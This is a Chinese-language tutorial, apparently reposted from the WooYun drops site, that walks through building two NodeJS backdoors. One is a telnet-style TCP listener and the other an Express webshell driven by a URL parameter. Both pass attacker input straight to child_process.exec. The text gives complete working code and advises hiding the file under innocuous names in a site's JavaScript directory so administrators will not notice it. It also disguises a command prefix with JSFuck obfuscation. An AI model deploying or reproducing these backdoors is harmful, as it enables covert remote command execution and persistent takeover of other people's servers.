<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/10900

                    0x00 前言


                    從語言下手,來寫一個市面沒有的后面程序。

                    0x01 為什么選擇NodeJs


                    1. 我個人非常喜愛JavaScript這門語言,而我們今天所說的就是NodeJS,JavaScript語言的一個分支。NodeJS本身就是一個Web 服務器同時他還是一門后端語言,這一點尤其重要,因為我們只需要下載一個NodeJs就可以完成一系列操作,從而免去很多的麻煩。
                    2. 而且即使被運維人員發現,也會以為是開發部門正在寫有關NodeJs的項目。
                    3. NodeJs是一個非常年輕的語言,以至于很多人都沒有學過。我見過運維人員懂PHP、Python的,但是懂NodeJs的,我是沒見過。

                      接下來的篇章,我會使用telnet通信和web通信兩個方式來寫NodeJs后面程序。

                    4. 下一篇再說

                    0x02 前期準備工作


                    有關NodeJs安裝的,請自行百度。

                    我這里使用的是NodeJs版本是5.1.0

                    p1

                    NodeJs安裝完成后,我們可以隨便在哪一個目錄建立一個NodeJs文件,當然我這里推薦在服務器網站上的靜態目錄里的JavaScript目錄來寫,因為都是JavaScript文件,有很大的隱蔽性。我嫌麻煩,就在~目錄下建立一個nodeDemo目錄來建立NodeJs文件了。

                    我這里建立的是app.js,當然名字隨便取,你可以取base.js、cache.js、cookies.js等等,起到隱蔽性就行了。

                    0x03 telnet通信后門


                    NodeJs里使用telnet進行通信的時候,需要調用net庫和child_process庫里的exec方法。

                    代碼如下:

                    var net = require('net');
                    var exec = require('child_process').exec;
                    

                    然后使用createServer()函數來創建連接,代碼如下:

                    var server= net.createServer(function(conn){
                        //code
                    });
                    

                    接下來要解決字符串編碼問題,不然亂碼真的沒法看:

                    conn.setEncoding('utf8');
                    

                    注意這里沒有-,不是utf-8。切記。

                    為了好看,我還特意加上了conn.write('\n');恩,這樣好看多了。

                    OK,接下來就是連接成功后,處理輸入的字符串了。這里需要用on函數:

                    conn.on('data',function(data){
                    //code
                    });
                    

                    在輸入后的字符串里,刪除掉回車字符串。

                    data=data.replace('\r\n','');
                    

                    這段代碼非常重要。我被這個坑卡了二十分鐘。很多人可能會問不就是個回車么,按兩次回車鍵怎么了。問題就在這。他這是ascll編碼,也就是說你這個不會回車,而是回車的ascll編碼,如果沒有這個命令,你輸入的命令都將無法使用,你用echo輸出到的文件也會變成xxx.txt?這里并不是真正的?,而是系統無法顯示出這個字符,而用?告訴人們,這是一個無法顯示的字符串。

                    這里的data變量就是我們輸入的命令了。接下來就要用到child_process庫里的exec方法了。

                    exec(data,function(error,stdout){
                        //code
                    });
                    

                    exec的第一個參數是data,也就是我們要運行的代碼,后面的參數是個函數,這個函數里的一個參數是error,他是反饋命令中存在的錯誤。二個參數stdout是命令運行后的反饋。

                    我們先判斷運行的命令中是否存在錯誤:

                    if(error !== null){
                        conn.write(error + '\n');
                        return false;       
                    }
                    

                    如果沒有錯誤會反饋null字符串,我們就拿這個當做判斷條件。Conn.write是在telnet終端反饋字符的,相當于php中的echo。

                    return false;是防止程序繼續向下執行。

                    接下來就是顯示命令反饋了:

                    conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
                    

                    為了更加的直觀,我用#start和#end來標出反饋的區域。

                    server變量OK后,就是讓程序監聽端口運行了。

                    server.listen(3000,function(){
                        console.log('OK');
                    });
                    

                    監聽3000端口,并在終端中顯示OK。

                    完整代碼如下:

                    var net = require('net');
                    var exec = require('child_process').exec;
                    var server= net.createServer(function(conn){
                        conn.setEncoding('utf8');
                        conn.write('\n');
                        conn.on('data',function(data){
                            data=data.replace('\r\n','');
                            exec(data,function(error,stdout){
                                if(error !== null){
                                    conn.write(error + '\n');
                                    return false;       
                                }
                                conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
                            });
                        });
                    }); 
                    
                    server.listen(3000,function(){
                        console.log('OK');
                    });
                    

                    現在讓我們來測試一下:

                    p2

                    打開另一個終端,輸入telnet 127.0.0.1 3000

                    p3

                    現在我們輸入幾條命令試下:

                    p4

                    p5

                    OK了。現在只需要使用添加用戶即可再次控制機器。

                    而這里有個缺陷,就是沒有密碼驗證,我特意查了net庫里的函數,但是沒有找到密碼驗證,于是我想到了另一種方法來代替密碼驗證。代碼如下:

                    if(data.substring(0,2) == 'js'){
                        data = data.substring(2);
                    }else{
                        return false;
                    }
                    

                    每一條命令的前面都加上js才會運行,如果沒有,則什么都不輸出。事例:

                    p6

                    加上當我第一次輸入ls的時候,程序并沒有運行,當前面加上js字符串之后,命令才成功的運行。

                    直接寫js字符串太顯眼了,我們加密一下吧,因為NodeJs用的v8引擎,那么在瀏覽器里的JavaScript黑魔法,在NodeJs里也可以使用,我們打開http://www.jsfuck.com/把js加密下,加密后的字符串是:

                    (+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]
                    

                    如圖:

                    p7

                    那么現在的NodeJs后門代碼就變成這個樣子:

                    p8

                    現在我們來測試一下能不能使用:

                    p9

                    完美。

                    0x03 web通信后門


                    上節說道使用telnet通信當做后門,那么現在我們來說一說web通信后門。

                    這里是使用了express框架嗎,玩過NodeJs的人都知道,基本是NodeJs必裝框架。

                    安裝express框架請自行百度。

                    首先我們建立一個網站目錄用于存放后面程序。

                    express node如圖:

                    p10

                    cd node && npm install
                    

                    完成后,基本就OK了。現在我們進入到routes目錄。修改index.js文件。

                    vim router/index.js
                    

                    p11

                    這是之前的index.js代碼,現在我們來修改它。

                    在第三行加入代碼:

                    var exec = require('child_process').exec;
                    

                    刪除第6行代碼,修改為:

                    exec(req.query.webshellPassword,function(error,stdout){
                        if(error !== null){
                            res.send(error);
                            return false;
                        }
                        res.send(stdout);
                    });
                    

                    基本和上一節的telnet通信后門代碼差不多。只是出現了如下代碼:

                    req.query.webshellPassword
                    

                    req.query是NodeJs獲取URL參數的。webshellPassword是參數名。他相當于PHP代碼里的:$_GET['webshallPassword'];

                    完整代碼如下:

                    p12

                    現在我們進入到node目錄。運行它:

                    p13

                    打開瀏覽器,輸入http://127.0.0.1:3000/?webshellPassword=ls

                    結果如下:

                    p14

                    瀏如果是window系統,沒有裝linux命令集的話,請把ls改成dir。

                    我們來大致看一下能做哪些事:

                    p15

                    p16

                    p17

                    p18

                    想干啥都可以,心情瞬間變得更美麗的呢。

                    下一章將說到使用網站來管理后門。麻麻再也不用擔心我天天抱著電腦了呢。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频